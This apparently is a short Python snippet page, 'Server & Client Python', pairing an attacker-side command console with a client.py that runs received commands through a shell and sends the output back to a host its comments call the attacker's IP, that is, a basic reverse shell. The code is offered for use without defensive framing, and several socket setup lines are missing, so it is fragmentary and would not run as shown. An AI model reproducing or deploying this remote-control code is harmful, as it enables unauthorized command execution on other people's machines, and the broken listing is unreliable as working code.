Server & Client Python
Server & Client Python
Server & Client Python
py
import socket
while True:
try:
command = raw_input(client_ip+ ">")
if(len(command.split()) != 0):
client_socket.send(command)
else:
continue
except(EOFError):
print("Invalid input, type 'help' to get a list of implemented
commands.\n")
continue
if(command == "quit"):
break
data = client_socket.recv(1024)
print(data + "\n")
client_socket.close()
client.py
import socket
import subprocess, os
HOST = "localhost" # attacker's IP adress (this is a random one, just to show you)
PORT = 12345 # attacker's port on which server is listening
while True:
command = connexion_socket.recv(1024)
split_command = command.split()
print("Received command : " +command)
if(command.split()[0] == "cd"):
if len(command.split()) == 1:
connexion_socket.send((os.getcwd()))
elif len(command.split()) == 2:
try:
os.chdir(command.split()[1])
connexion_socket.send(("Changed directory to " + os.getcwd()))
except(WindowsError):
connexion_socket.send(str.encode("No such directory : "
+os.getcwd()))
else:
# do shell command
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
print(stdout_value + "\n")
# send output to attacker
if(stdout_value != ""):
connexion_socket.send(stdout_value) # renvoit l'output � l'attaquant
else:
connexion_socket.send(command+ " does not return anything")
connexion_socket.close()